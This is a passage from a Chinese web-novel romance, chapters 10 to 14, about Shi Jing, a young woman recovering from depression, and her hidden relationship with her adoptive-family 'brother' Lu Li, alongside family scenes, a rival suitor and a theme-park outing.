陆礼颔首赞同:“的确能睡。”说着,又看了眼她胃口极佳的吃相,补了句:“胃口也不错。”
时憬咽下一口烧卖,幽幽抬头:“……我怀疑你在内涵我像一种动物。”
陆礼轻咳了声,挪开视线,端着咖啡慢饮一口,惬意优雅得像是在巴黎街头。
时憬的三观就跟着五官跑偏了——
眼前这个男人真TM帅啊!
还是属于她的。
心情瞬间愉悦,大手一挥:“算了,不和你计较。”
有帅哥佐餐,这一顿早饭吃了平时两倍的量。如果不用看医生,她的心情会更好。
第10章 你们该断了
时憬有大半年没来诊所复诊,再次进入熟悉的诊室,尽管里面布置舒适、温馨,但坐下后仍有些紧张。
秦天川是她的心理医生,风趣幽默,圆脸、微胖,看着就平易近人,还是陆礼的挚友。
在治疗时间外,秦医生就把时憬当成妹妹看,两人先聊了几分钟,才让护士带着她去做各项基础检查。
来得护士也认得时憬,惊喜的夸她:“一段时间没见,妹妹越长越漂亮了,已经是个标志的大姑娘了呢!”
时憬就这么被哄着出去了。
陆礼敲门进了诊室。
秦天川示意他关门,还没等人坐定,开口就汇报:“刚才看时憬状态还不错,没你说的那么严重,本来这种病就会在冬季容易情绪反扑,家属多注意点就好。还有安眠药就尽量不要吃,偶而失眠可以考虑吃点褪黑素。如果褪黑素也没用,记得来看我就成。”
陆礼表情严肃的一一记下。
秦医生神情轻松的笑了声,“不用太紧张,往往患抑郁症的人,都是对情绪格外敏锐的人,你的紧张也会传递给她。这种病更像是心灵得了一次重感冒,我们要理解它、与它共处,留给足够痊愈的时间。”
陆礼的脸色才略有缓和。
“这几年多亏有你。”
秦医生眨了下眼,“客气啥,回头记得给我诊所拨点资金就成。”
二人相识多年,问话也不必拐弯抹角的,秦天川接着问:“你和时憬现在还在维持着?”
这个问题太过唐突,陆礼怔了瞬,回了个是。
男人言语简洁、态度冷漠,分明是不愿详说的反应。
秦天川猜到如此,叹了口气,“我当初就不太赞成,但那时情况特殊,这么做能够平稳她的情绪,更容易让她开始接受治疗。但过了这么多年,其实早该断了,继续维持下去,等到真正断起来,时憬只会更痛苦。”
“我知道。”
秦医生挑眉:“其实你俩没血缘关系,你家也没正式收养时憬,干脆你直接公布得了,反正你爸妈都把她当女儿养了。”
陆礼皱眉:“再多说一句,明年的赞助没了。”
秦医生后仰身子,嘶了声,连忙做了个嘴巴上拉链的动作,等到陆礼脸色好转后,他才收起作怪的表情,认真劝了句,“你别把这件事看轻了,年轻小姑娘没谈过什么恋爱,为了留住男人不择手段、剑走偏锋的多的是,别玩脱了。”
陆礼掀起眼皮看他。
秦医生连忙举手:“朋友立场说的,别撤我资啊!”
陆礼冷笑一声:“出息。”
“没办法啊,为五斗米折腰。”
陆礼屈起两指在桌上敲了下,“出去了。”
“快走,你在这儿搞的我都紧张。”
在陆礼快走到门口时,秦天川嗳了声叫住他,“哦对了,你们一直都有避孕措施吧?”
陆礼搭上门把手的手顿了下,一秒撞上门。
转回头的眼神犀利的像能杀人。
秦天川被看盯得后背发毛,“别这么看我,我是以医生立场问得,避孕措施必须要做,但避孕药会引起体内激素水平大幅度提升,最严重的情况会引起抑郁症急性发作。她才停药没多久,这类药物尽量不要吃。”
陆礼面无表情回他:“我都记得。”
“嗯嗯。”
“还有——”
“什么?”
“下次这类问题能早点说吗,别每次都得等到我到门口了才问。”陆总裁的语气能冻死人,说完后甩门走人。
秦天川搓了下胳膊。
总裁生气好吓人,怕怕!
*
陆礼刚出诊室,时憬也做完检查回等候区,她坐到陆礼身边,头歪着靠在他肩膀上,手里捧着游戏机在玩。
“自己坐好。”
“我不,这样舒服。”
“1、2——”
鼻尖萦绕的香气瞬间远离,他唇角微勾了下,抬手习惯性揉了下她的头。
熟悉摩挲声,从头顶传来。
时憬看着屏幕中的小人愉快转了圈,生出一种奇妙的幸福感——这些年来,她每次来复诊,陪在她身边都是陆礼,从未变过。
她佯装不满的歪开脑袋,小声嘟囔:“小气。”
屏幕中的小人摘下花朵,美美的戴在头上。
检查结果出来,秦医生看过后说情况不错,照例叮嘱几句,就让他们回去了。
时憬的好心情便又回来了。
她坐陆礼的车回庄园,下来后非要挎着陆礼的胳膊,眉飞色舞的描述着趣闻,也不肯好好走路,绊了一次后,被陆礼拎着胳膊教训:“几岁人了,还不会好好看路走路?”
时憬最不怕他这幅训人的模样,贴过去撒娇认错。叫了两声哥,摇了两下胳膊,陆礼就不会再生她气。
兄妹二人在外面亲近说话的场景,落入楼心月眼中。
她陪着陆母在客厅里插花,余光一直留意外面的路,在陆礼出现的第一时间她就注意到了,脸上的欣喜还未露出,便又看见了时憬。
这个陆家收养、一直缠着陆礼的,让人讨厌的女孩。
楼心月掩去妒色,微笑着引陆母去看,感慨道:“圈子里亲手足之间都要防一手,我哥能不阻拦我来陆氏学习、未来加入新材料,一直觉得我和我哥算是亲近的,但一看妹妹和陆礼的亲近真让人羡慕啊。”
说者有意,可偏听者暂无心。
陆母看两个孩子有说有笑,脸上也带出疼爱的笑容来,“他们两个都是好孩子。”陆母想了下,柔声说道:“我也不瞒你,小憬是后来的陆家,这几年下来,我和你陆伯伯真心把她当女儿疼,看着他们兄妹关系好,我们比谁都高兴。”
楼心月维持着微笑迎合。
恰好两人进了客厅里。
时憬见了陆母就变回了小女孩儿,小跑着过来依在怀里撒娇,“亲爱的母亲大人,您的小棉袄回来啦~”
陆母笑的眼角叠出细细皱纹,爱怜的轻拍下:“还知道回家来,妈妈还当你忘了回陆园的路怎么走呢!”
时憬哎呀了声,在陆母怀里蹭,“那我这次多住些日子,天天缠着您,缠到您要嫌我烦为止。”陆母就一个儿子,还早早懂事变得稳重,哪里还会和母亲撒娇,一腔母爱积攒着直到15岁时憬来家,都被她这张小甜嘴勾出来了,几下就被时憬哄的笑弯了眼。
“这次又能住多久?”
“陪着妈妈过了新年再走,”她故作可怜状,“不过有心月姐在,估计妈妈都不需要人家陪着了。”
陆礼看着腻在母亲怀里的女孩,路过敲了下她脑袋:“乱说话,有客人在也不怕惹笑话。”
时憬是最不肯吃亏的性子。
夸张的捂着头哎哟了声,指着陆礼告状:“妈妈,你看我哥他打我——”
陆礼无视,顺手放下她的包。
陆母笑眯眯的看兄妹俩斗嘴,毫不犹豫偏向时憬,‘教训’陆礼不准欺负妹妹,时憬靠着陆母,得意的冲陆礼昂着下颚笑。
一家三口的幸福,将楼心月生硬的排除在外。
说笑过后,时憬忽然开口好奇的问:“刚才回来时,妈妈和心月姐姐在说什么呀?”
第11章 一晚你都陪着妹妹?
陆母瞧着女儿乖巧可爱,忍不住摸了下脸蛋:“说你们兄妹关系好。”
楼心月温柔得体的接下话题:“就昨晚,我和陆礼参加新材料行业的酒会,小憬妹妹说身体不舒服,陆礼挂了电话就急去了。换成我家里那位哥哥,估计只会回我一句‘你自己开车去医院’。”她故意说得诙谐,最后一句话还配合着摊手无奈的表情,跟着看向时憬,关心问道:“今天看见妹妹面色红润,身体应该没事了吧?”
陆母闻言,担心的皱起眉来:“昨天怎么不舒服了?”
时憬对他人的情绪感知敏锐,听出楼心月藏在‘温柔’下的尖锐之意。
是在向妈妈告状陆礼抛下她?
还是她察觉了什么?
时憬快速掩盖情绪,回道:“就是胃病犯了。”
陆礼在一边不咸不淡地加了句:“在大冬天吃炸鸡喝啤酒,可不就得疼了才能记起自己有胃病。”
时憬扭头瞪他。
这人昨晚睡了她,今天居然还煽风点火!
什么人啊这!
陆母顿时变了脸,语气急转直下:“我就说!不能让小憬一个人住在外头!你们父子俩非说她大了要有自己独立空间,这下好了,吃外卖吃得胃又犯病了!等到将来老了,有你吃苦的时候!今天就回来住!没我的同意不准再回公寓那边去住!”
慈母秒变母老虎。
时憬不敢造次,连忙乖乖点头答应。
陆母的脸色这才好转。
训完女儿后,又看着眼前沆瀣一气的儿子,没好气道:“难怪昨天晚上没看见你车回来,妹妹身体不舒服不说一声,也不把人接回来,一晚你都陪着妹妹了?”
最后一句话,说者无意、在场的听者皆有心。
楼心月立刻看向陆礼。
陆礼刚要开口,被时憬抢先一步。
她抓着陆母的胳膊轻轻摇了下,“妈妈你不知道,昨晚我哥可过分了。我胃疼得难受,他来看了眼,给我叫了个外卖就走了!外卖我不会自己叫么?也不知道他特地跑一趟干嘛。”说谎的时憬,眼睛会水汪汪的望着人。
陆礼敲了下她以示警告。
随后语气平淡地解释,“昨晚去看过时憬后,正好有几个朋友聚会,散场有些晚就回天澜住了。”天澜是市中心一个高档楼盘,陆礼在那儿有一套房子,偶尔也会去那边住。
楼心月的表情僵硬了下。
这不就等于他为了从酒会抽身去参加聚会,故意拿时憬做借口?
陆礼和时憬根本不是她想的那样?
陆礼不重视新材料项目?
也没将她放在眼里?
越想,楼心月的脸色越难看。
兄妹二人合作得天衣无缝,连陆母也信以为真,不太赞同地看了眼陆礼,知道儿子对楼心月没意思,但碍于外人在,无法点明,只能不轻不重地说了句:“下次不准这样了。”
不准哪样却未说明。
陆母照顾楼心月面子,可这句话在她听来更加刺耳。
时憬看着‘女神’表情不佳,故意凑过去挽着她的胳膊,亲热道,“我哥说不准就是拿我当借口呢,心月姐下次可别轻易信他。”
陆礼看她一眼。
时憬笑盈盈地迎上去,“当然~工作相关的除外。”
陆母看不懂兄妹间的往来,只说:“小孩子家别乱说话。”
说罢,又看向陆礼。
楼心月是个不错的姑娘,温柔知礼貌稳重,陆母自然希望儿子能多接触,谁知还没开口,陆礼看了眼手机,就说要上楼开会,从头到尾都没给楼心月一个眼神。
陆母憋住气。
时憬膈应完了楼心月,转头也说上楼休息。
前脚两人刚走,楼心月慢慢红了眼睛,却还强忍着挤出微笑:“伯母,我想起来公司还有事,先走了,改日再来拜访您。”她拎起手袋起身离开。
陆母在心里骂了句小兔崽子,拉住楼心月的手,慢慢往外走:“回头我去说他,昨晚是他过分了。”
楼心月摇头,双眸含着清浅的泪光,盈盈动人:“您不要去说,我没事的,我相信昨晚陆礼是真的因为妹妹才离开的,只是陆礼他……好像对我完全没意思……”
陆母待她的语气更加温和:“他是工作忙,两人见多了才能培养感情。下次有空再来陪我说话。”
楼心月擦去眼角的眼泪,笑了出来:“好。”
楼心月离开后,陆母忍了忍,没忍住,去把兔崽子训了一顿,勒令他下周必须腾出一天空来去和楼心月约会。
这么善解人意、单纯的女孩不谈,他想谈怎么样的!
*
时憬闭眼躺床上,想了想,给童宛发消息。
【你觉得楼心月怎么样?】
童宛回得极快:
【美人一个,社交手腕也不错】
【对了,你哥昨晚怎么突然走了】
【她在你哥走后脸色就不大对劲了,不过也能理解,被男伴丢下确实挺难堪的】
时憬把昨晚和刚才的事情说了。
只是省去了她与陆礼的那些。
【童宛:昨晚你哥走是因为你啊!】
【童宛:今天居然还好意思去陆家?天呐,这脸皮、这韧性】
【童宛:你还别说,好男最怕女缠,现在你们两家还有合作,还真有可能拿下你哥】
时憬皱眉,重重戳字:
【做、梦】
【童宛:咋了?】
【时憬:我不喜欢她】
【童宛:从现在开始,我也讨厌她!下次宴会上再碰上,我就专门去逮陆少,再放我那二世祖哥哥去缠她哈哈哈哈哈】
【童宛:争取不让她成你嫂子】
时憬想象了下,噗嗤一声笑出来。
坏心情飞走一半,体贴敲字:【你不喜欢我哥吧?】刚想把后半句‘不用勉强自己’也发出去前,对面嗡地跳出来条语音。
童宛:“姐妹,你这句话吓得我手机都掉了。草,今晚要做噩梦了!!”
【时憬:?】
【时憬:我哥哪儿不好啊?】
【童宛:好!怎么能不好!但陆少工作狂的名号你没听过?再加上整天冷着一张冰山脸,都能冻死人!!】
【童宛:还有,陆少都没被拍到过女友,都有人传他喜欢男人】
时憬在看到冰山脸时,就开始笑的不行,最后看见‘喜欢男人’时,笑的差点从床上滚下去。
楼心月也彻底被抛之脑后。
【童宛:后天有空不?咱们去迪士尼约会呀】
【时憬:好呀,就我俩?】
【童宛:你到了就知道了!保证你喜欢!】
第12章 “下来”
到了后天,时憬和童宛在乐园门口碰头。
看着朝她们走来的阳光年轻大男孩,时憬嘴角抽了下:“姐,你啥意思?”
童宛扬起胳膊,热情地挥手:“这儿!”转脸对时憬挤眉弄眼,“姐花了钱从夜心约出来的,这不是好姐妹有福同享嘛,顺道给你带了个。”
时憬人都麻了。
回头被陆礼知道她俩花钱从夜心约男人出来——
“好久不见!上次陆少回去没训你吧?”高大帅气的大男孩大步流星地跑过来,站在时憬面前,微微弯些腰,双目像是炽热的狗狗,认真地望着时憬。
时憬听见自己愉悦的声音响起:“好久不见呀,白行。”
童宛钱都花了,总不能浪费了是吧?
而且他们就纯玩乐园。
最后不让陆礼知道不就行了?
四人在乐园里都玩疯了。
他们年龄相仿,什么项目都想要尝试一遍,使用了点钞能力玩遍所有热门项目,一路High到傍晚终于尽兴,坐在花园椅上休息。
童宛和季易去买吃的。
时憬实在走不动了,白行留下来陪她。
时憬低着头,在挑手机里拍的照片。
有人轻轻碰了下自己。
她抬眸,看见白行慌乱收回去的手,又有些局促不安地指了下她,解释道:“你发箍有点歪了。”
时憬乐了,也不继续看手机,歪头盯着白行看。
离开夜店的大男孩,没了镭射灯下的过分热情,显出几分与年龄相仿的青涩,被时憬盯着看,没一会儿耳朵都红了。
这不像是能装出来的反应。
时憬凑近他,“没谈过女朋友?”
白行连脸都红了,不自在地点了下头。
时憬退回去:“那你怎么会去夜心?那边可是需要陪客的。”
白行抓了下头发,声音比刚才要沉些,“我爸病重,家里欠了债,我是老大,下面还有两个弟弟妹妹,他们读书成绩好,总要供他们上学。我成绩不好,也就……”他耸肩笑了声,指了指自己的脸,“长的好看点,这个来钱快,等供到他们上大学,我就不干了。”
时憬没想到他会如此坦白。
或许这也是白行向女性获取同情的手段之一。
但他提及弟弟妹妹时的语气是那么骄傲,时憬便忍不住相信他,“我能看看他们的照片么?”
“当然可以。”
白行拿出手机,屏保就是他搂着弟弟妹妹,三个头挨在一起,笑得呲牙咧嘴。
“这是我妹妹,学文科,考试次次都学校前三名,弟弟就差点,皮猴子一个,但没跌出过前十。”提及弟弟妹妹,白行的话一下子就多了起来,甚至还拍下他们的奖状,一张张翻给时憬看。
年轻男女挨在一起看手机,像极了一对热恋的小情侣,闯入了熟人镜头中。
当事人却全然未觉。
时憬看完后,开口道歉:“我刚才说话不好听,你别往心里去。”
白行浑不在意地摆手,笑容干净,“没事,童小姐付过钱的,而且你也没说什么。”
时憬:“我可能没法常去夜心,之后还能约你出来吗?就这样玩乐园、或者是逛街都行。”
她的话让白行迟疑了下。
时憬疑惑:“不行么?”
白行左右看了眼,含蓄低声表达:“得定了酒店报备,我们才能出来……”
时憬愣住,张口问:“你们出台是必须陪睡——”
白行没想到时憬如此直接,涨得脸都红了,情急之下一把捂住她嘴巴,磕磕绊绊地解释:“不是、不是必须,这个全凭客人意思……其实我也不太清楚别人怎么样……这是我头一次出台。”
身在梦幻的乐园中。
大男孩害羞的模样、紧张的举动,都蒙上了一层恍若纯爱的滤镜,看的时憬也忍不住心跳加速,跟着一起害羞起来。
她握住白行的手腕,拉下手,笃定说道:“从今以后,我约你出来都不用做那些。”
白行清晰听见自己的心跳声。
他知道时憬是在同情自己。
他也知道,不该利用她的同情。
但——
这是他第一次触及这座城市、这个圈子里对他释放的善意,有一个稳定的金主,能解决他大半的经济压力,为了弟弟妹妹,原谅他自私得无法拒绝。
“谢谢你,时憬。”
时憬被这笑容晃到眼睛,终于明白了童宛说得早下手为强是什么意思。
小奶狗真的赛高!
童宛还真定了乐园酒店的两间房,拉着季易头也不回地进房间。时憬则是和白行加上好友,拍了房间照片后他就离开了。
童宛定的房间位置好,能看见夜场烟花秀。
时憬坐在床边看完了整场烟花秀,烟花散尽后,游客涌出乐园,狂欢后的寂静从四面八方涌来。
她不太喜欢这种感觉。
开始刷朋友圈。
白行发了一张微信截图,配文是妹妹生日快乐。
小姑娘先是担心很贵,白行说一年一次,不算贵,小姑娘开心的直发转圈圈的表情包。
难怪今天在商店里,白行一脸严肃地在挑脸,还坚持自己买单。
时憬在这一页停留了很久。
白行是一个称职的哥哥。
她忍不住把25岁的陆礼与他重叠。
如果没有陆礼,她就要被亲戚们的恶意逼死。
陆礼一直是一个称职、可靠的兄长,只是——她先让这份亲情变了质。
深夜。
陆园。
陆礼刚开完一个跨国会议,摘下眼镜放松半刻。
手边的电话就响了。
陆礼看着屏显,拧着眉接通:“几点了还不睡觉?”
“哥。”
女孩兴致不高。
陆礼忍住说教,放柔语调,“今天出去玩的怎么样?”他今天收了无数张她随手拍的照片。
“开心!好玩!暴走了一天,这会儿腿疼死了。”女孩儿哼哼唧唧地抱怨着。
陆礼拿下手机,去翻了下她的步数,两万四。
“是你运动不够。”
“哥,你说话怎么老气横秋的,跟爸爸一样。”
这还是时憬第一次说他老。
老气横秋的陆礼回道:“比你大六岁,是老了,但还当不了你爸。”
电话那头的女孩儿哎哟了声:“完蛋,说错话了,我要挂了!”
陆礼被她的语气逗笑,“早点睡。”
一向都是时憬先挂电话。
今晚她迟迟没挂。
在陆礼开口询问前,时憬轻软的声音从手机里传出:“哥,谢谢你,把我带回陆家。”
陆礼下意识皱了下眉,换手拿手机,另一只手在电脑上查路线,同时憬说话的语气如此温柔。
“今天怎么了,突然说这些话。”
时憬:“没事啊,就是突然良心发现想要感谢陆少任劳任怨的这几年当我哥哥,挂了挂了!我要睡美容觉啦!”
不给陆礼说话的时间,通话迅速结束。
时憬呼出一口气,仰面倒在床上。
克制住想要见陆礼的欲望。
抬手挡住眼睛,手背上很快有了些潮意。
幸好是电话,陆礼看不见她的脸。
时憬缓了许久才去卸妆洗澡。
等她哼着跑调的歌从浴室出来,坐在床边低头吹头发,一手划开手机,跳出陆礼刚发来的信息。
陆礼:【下来】
第13章 老当益壮
时憬眨了下眼睛,迅速关吹风机,拨出电话:“你在哪儿?”陆礼格外谨慎,在国内时从没有带她出入过酒店。
“下来,带你回家。”
时憬听着电话里传来的声音,眼瞳缓缓睁大。
他怎么会来了。
单凭一通电话,他就来了……
在她好不容易克制住想要见他的欲望后。
甚至这么晚开车赶来。
这么好的陆礼……
让她如何能够不爱上他。
时憬满屋子乱转的收拾东西:“等我——马上下来——”
“好,不急。”
她嫌少如此狼狈不堪过,所有的东西胡乱塞进大包里,大衣下面还穿着睡衣,头发没吹干,一路飞奔去乘电梯、冲出大堂。
在浓稠黑夜之中,看见停在门口的迈巴赫。
陆礼斜靠在车门旁,安静的等她。
这一刻,心跳如擂鼓。
她跑过去,如飞蛾扑火般——
然后被脸色逐渐难看的陆礼一把揪住,制止她撒娇的投怀送抱。男人黑脸、皱眉的看她湿漉漉的头发,劈头盖脸就是一顿训:“怎么不吹干头发再下来?拿毛巾了吗?还穿的这么少?”
兄长语气恶劣。
时憬低头装乖,“着急……”
陆礼憋住怒火、运气。
告诉自己,小姑娘今晚不太高兴,尽量不要骂她。
他拉开车门,“先上车,后排有抽纸,自己擦干头发。”
“……喔。”
时憬坐上车后,伸长胳膊去够纸巾,一点点吸干头发。
陆礼发动车子,调高温度。
路程过半,车里的暖风吹的时憬脸颊发烫,头发也半干。
“好了。”
陆礼调小风速。
车子里热的他后背都开始渗汗,但时憬身上穿的单薄,他没敢打开车窗降温。
时憬看着陆礼脸色好转了点,软着语调撒娇:“哥,下次能发前给我发个信息嘛,人家急的穿着睡衣就下来了。”
“晚上没人在意。”
“谁说的!刚才出来时前台的小姐姐看见我都笑了!”
陆礼冷着的脸上闪过一抹极浅的笑。
“我也没催你。”
时憬窥见他的表情,看他不再生气,但依旧没看自己,故意叭叭的说着:“这不是太晚了,担心哥哥熬夜伤身体嘛,毕竟年龄也不小了,比我大六岁呢。”
陆礼:……
陆礼:“再多说一句给我下车自己回去”
时憬忍住不笑,口吻较真道:“你看!睡眠不足脾气还这么暴躁!”
路口红灯。
车子停下。
陆礼转过脸,眼神深暗不见底:“长本事了?接着说,别停。”语气四平八稳,仿佛一点也没被时憬惹怒。
她飞快凑过去在他唇上亲了下。
眼眸亮晶晶的,看着他笑:“亲到了就不准生气啦。”
陆礼:……
自持稳重的陆礼再度因代沟,一时没理解妹妹的鬼马思路,只好腾出一只手,把她脑袋压了回去,“我在开车,乖乖坐好。”
像哄小孩儿似的。
“好~”时憬蜷起腿,掩唇长长的打了个哈欠,“我先睡会儿,到家了叫我哦。”
她在酒店待了那么久也不困,上了陆礼的车后才多久,就困的眼皮粘在一起。
一个绿灯起步的时间,时憬已睡着。
陆礼余光看了眼,放慢车速。
车停在陆园门前,人还睡着。
陆礼:“醒醒,到家了。”
女孩儿迷瞪着眼捂住他的嘴巴,“吵……”歪头继续睡。
陆礼叹气,只能抱她上楼。
时憬睡的沉,陆礼抱着人脱下大衣,掀开被子盖好,也没见她醒来。
月光下,她的脸泛着盈白,眉间舒展。
不像前几年睡着了总是皱眉。
乱糟糟的黑发铺在枕上。
陆礼弯下腰,拨拢散开的长发,女孩儿的头发多而细软,掌心触及发梢淡淡的潮意,去浴室拿了吹风机,坐在床边,调了最低档,拢着她的头发一点点吹干。
时憬被风声吵醒,惺忪着眼,迷瞪了会儿才看清低头替她吹头发的陆礼,发梢的温度传到了心口。
一片温热。
“陆礼。”
她忍不住叫他的名字。
陆礼嗯了声,神情专注,以为她没耐心了想要继续睡觉,“很快就能好了,下次睡觉前记得把头发吹干。”
风声嗡嗡,让他的嗓音听起来有些虚晃的温柔。
她往上蹭,躺到陆礼腿上。
借月光放肆的从下盯着他看,居然这样看也没有死亡角度,以及——
认真吹头发的男人好帅。
陆礼对上她微亮的眼,“笑什么。”
时憬一脸满足:“想到我也有这么好的哥哥,就觉得好幸福啊~”
陆礼挑眉:“也?”
时憬沉默一秒,迅速转移话题,斩钉截铁道:“哥,你现在整个人都笼罩着一圈爹系男友的圣光,真的!”
爹系男友?
陆礼解读了下,“又在说我老?”
时憬:“这次是真没有这个意思!爹系男友的意思是说像daddy一样照顾、疼爱人。”
他眸光落在她脸上,平静反问:“那就是以前是?”
摸着发梢都干了,陆礼关吹风机,把人从腿上拨开,看不出来生没生气。
时憬赖在腿上不肯起来,两手抱着他的腰哼哼唧唧的撒娇。
忽然陆礼拉住她后衣领,垂下视线冷冷看她,“时憬,起来。”
语气严肃。
时憬愣了下,以为是自己不小心弄疼他了,口中连忙道歉,一骨碌爬起来。
陆礼起身走去卫生间放吹风机。
时憬轻轻啊了声,明白了过来。
陆礼出来就看见她一脸要笑不笑的表情,“这次又想说什么,说完赶紧睡觉。”他走过去,把人按回被子里。
“我说了你不能揍我哦。”
“说。”
时憬的时间控制不住往下飘。
陆礼已经明白她想要说什么,一时间不知是无奈还是该真的揍她。
时憬轻声细语:“老当益壮。”
陆礼毫不犹豫选择后者。
用力弹了下她额头。
时憬没想到他真的会动手,疼得嗷了声,睁着眼睛不讲理的控诉:“你说不动手的!”
陆礼抱着胳膊看她:“我什么时候说了。”
……
“我说了你不能揍我。”
“说。”
……
还真没答应。
上当了!
时憬气得躺不住,掀了被子坐起来:“狡猾的资本家!”
陆礼冷笑一声:“不是刚才的好哥哥了?”
时憬眨眨眼睛,往床边跪着挪了两步,眼神明亮纯粹的望着他,问:“陆礼,不会是说你老真生气了吧?”这语气一点都不像是担忧,反而是压不住雀跃。
陆礼叹口气:
“没生气,时间不早了,早点睡觉。”
说完转身离开。
时憬望着他的背影,眸光幽幽流转。
不是因为说他老生气,那就只有另一个原因啦。
时憬舔了下唇,赤着脚从床上跳下,跑着绕到他面前扑上去,扑的陆礼往后退两步,两手张开,虚护着莽撞的女孩。
皱眉张口就训:“这样危不危险?”
时憬踮起脚,两条胳膊圈住他脖子,真丝睡衣下滑,细腻微凉的肌肤贴上他温热的脖颈肌肤,她神情娇媚,直勾勾探入他眼底,“陆礼,我想亲你。”
第14章 贪欢的猫
气息染上滚烫的热。
时憬向来任性。
不给陆礼拒绝她的时间,凑上去含住双唇,温柔地亲吻。
再往后退,就是床边。
陆礼眸色黑沉沉地压下来,护着她坐在身上,扣住她的脖颈。
温柔的吻,骤然染上了大人的色彩。
时憬本来没想继续,虽是深夜,但门没有锁,她已不敢像之前那么胆大,但欲望挣脱了理智,贪念就钻了出来。
她就像是贪欢的猫。
得了乐趣后,只管一味地索取。
只是今晚的陆礼从始至终都压抑着自己的欲望,脱去沾染室外灰尘的外衣,抽了湿巾清洁双手。
细汗与喘息声被刻意压制。
他克制着,却教她失控。
时憬大脑一片白雾,生理眼泪顺着眼角落下,松开咬着男人脖子的牙齿,呼吸混乱,累得一根手指都不想动弹,闭眼就睡着了。
陆礼平稳呼吸后,起身清理。
他不会嫌妹妹脏,照顾她早就成了习惯,却觉得没清洗的自己不干净。
替时憬清理后,发现真丝睡衣已经揉得没法穿,拿了条纯棉睡裙帮她套上,盖好被子,打算回房。
放在床头的手机震动了下,在黑暗中亮起刺眼的光。
陆礼顺着光亮瞥了眼。
这是时憬的手机,陆礼没有窥探妹妹隐私的癖好,可屏幕朝上,悬浮的信息就已跳入陆礼眼中。
【白行:今天在乐园玩得特别开心,谢谢你】
陆礼的脚步顿了下。
白行。
这显然是个男人的名字。
他关上灯,退出房间,关门。
回到自己房间后,陆礼翻着聊天记录,重新确认今天收到的所有照片,没有时憬与任何一个男人的合影,只有在商店了照片的一角,露出半只男人的手,拿着只紫色玩偶。
*
昨晚睡得晚,但睡眠质量高。
早起的时憬精神气爽,换了衣服下楼用餐。
今天周末,但陆家人生活规律。
早已开始用早餐。
“妈妈爸爸哥哥,早上好~”
陆母意外,“昨晚你不是和童宛在外面住,几时回来的?”她边说着,边吩咐佣人准备餐具。
时憬在陆母身边坐下,可怜兮兮道:“昨天半夜回来的,有点认床睡不着。”
陆父一身休闲装,也没有看他的工作平板。闻言,问了句:“陆礼昨晚出去是接妹妹回来?”
时憬握着筷子的手指扣紧。
陆礼收回视线,嗯了声,“刚和国外开完会也睡不着,省得折腾耿叔了。”
时憬低头咬着餐包,难得安静。
陆父:“晚上打车的确不安全,老耿年纪也大了。小憬喜欢什么样的车,爸爸给你配一辆。”
“不用了,爸爸。”
“不用在意价格,你喜欢就——”
陆母轻轻踢了他一脚。
陆父还奇怪地看她。
陆礼:“爸,时憬还没有驾照。”他用公筷夹了一个烧卖放在时憬盘中,像个细致周到的兄长,叮嘱着挑食的妹妹:“别光吃面包。”
陆母也跟着道:“现在年轻女孩儿整天都嚷着减肥,你可不准跟样,三餐照样吃,丰腴些看着也是健康。”
时憬佯装苦恼,“有妈妈和我哥盯着,我就是想减也没机会。”
三人说笑,错开买车的话题。
时憬被陆礼带回陆家时,陆父还未退下来,工作正忙。
这会儿看妻子儿子才反应过来。
时憬的亲生母亲因车祸丧生。
陆父的愧疚感一下子就涌了上来,儿子伤点心没事,但女儿心思细腻,得及时补偿,默默拿起手机转账。
时憬的手机震了下,看了眼银行提示。
下意识去看对面的陆礼。
陆礼在给她买东西上面一向大方,但平时零花不超过五万,还给过她一张黑卡副卡,但每刷一笔陆礼都能看到消费记录,所以时憬很少用。在金钱方面,陆礼对她管控颇为严格,她从来没收到如此可观的转账。
陆礼这是变性了?
陆父清了清嗓子:“年底节日多,爸爸给你发了个红包,和朋友、同事们多出去逛逛节。那什么圣诞限定色、新年限定款,喜欢都买回来,也给你妈妈带一份。”
时憬眼睛都亮了!
“谢谢亲爱的父亲大人!!!”
毫不掩饰灿烂笑容。
老父亲心满意足地享受女儿的夸赞。
陆母哪里不明白丈夫补偿的心思,故意漫不经心地哼了声,“一笔钱想讨两份好。”
时憬小声提醒:“爸爸花钱了,好多。”
陆母霸气:“妈妈给不起么?”说着就要拿手机。
时憬连忙去拦。
陆父指着她们,冲着儿子笑的万分无奈,开始拉儿子做战友:“你看看,给你妈不买说我,买了也还要说我。”
陆礼一脸淡定:“您给时憬发了红包,妈有礼物,您想我帮您说什么。”
陆父愣住。
母女俩笑疯了。
陆父下意识拿起手机转账,转完后才反应过来,“不对,整个陆氏都是你的了,还让你老子给你转账?”
陆礼瞥了眼屏幕,挑眉:“我有让您转么,不是您自愿的?”
陆父:“……”
陆母笑的眼泪都出来了。
儿子性格古板,说话做事都是一板一眼的,多少人羡慕羡慕他们生了个根正苗红的继承人。可也只有他们当父母的知道,总希望儿子也能像寻常人家的孩子,同父母撒个娇、耍个赖、闯个祸,如今养大这么大了,才坑他爸一回,陆母不知心中有多开心。
用过早餐,陆父约了人打高尔夫。
陆母怕冷,冬日不常出门。
正好一周后圣诞节,陆礼陪着她们把圣诞树搭起来。
陆母挂着彩灯,看心情极好的女儿,“昨天出去玩得这么开心?”
时憬:“对啊,你一进乐园里就会被里面的氛围感染了,人都跟着开心起来,项目也特别好玩!到后面我叫得嗓子都疼了。等天气暖和些,我陪您一起去,里面也有温和不刺激的项目,特别可爱!”
陆母单手扶脸,“都这个年纪了,还是你们小姑娘去玩好。”
时憬挽上陆母胳膊:“您和我站一起,大家肯定都羡慕我有这么一个气质优雅的姐姐。而且享受快乐又不规定年龄,您就放心跟着我,保准让您体验奇妙的一天!”
陆母笑意漾开,“真这么有趣?”
时憬立刻拿出手机分享照片。
两人彻底把装饰的任务抛之脑后。
敲定了春天一起去乐园,再一看圣诞树顶上的布置已经完成,而她和妈妈负责的下半部分只有零星几个装饰,都还是陆礼现在挂上去的。
时憬凑上前递装饰:“哥,辛苦你了~”
陆礼接过,“不辛苦。”
时憬:“辛——”
陆礼:“命苦。”
时憬抽了下嘴角,小声嘟囔:“您这命还算苦?”
陆母在对面挂装饰,听不见他们兄妹的小声说话。
陆礼:“当你哥哥命苦。”
时憬嘶了声,刚想吵几句,看见陆礼今天明明在家里休息,屋子里暖气也充足,但黑色衬衣仍是扣得一丝不苟,忽然想起了昨晚自己咬的地方。
她心虚,气焰一下子就弱了。
“哥~中午我下厨好不好?你想吃什么呀?”
男人瞥了眼她攀在胳膊上的手,面无表情地拨开,就跟昨晚拨开她脑袋一样,“少献殷勤,你不出门逛街了?”
时憬想起今天收到的大红包,眉开眼笑。
已经盘算着能把前段时间看中的手链项链套组买下。
“时憬。”
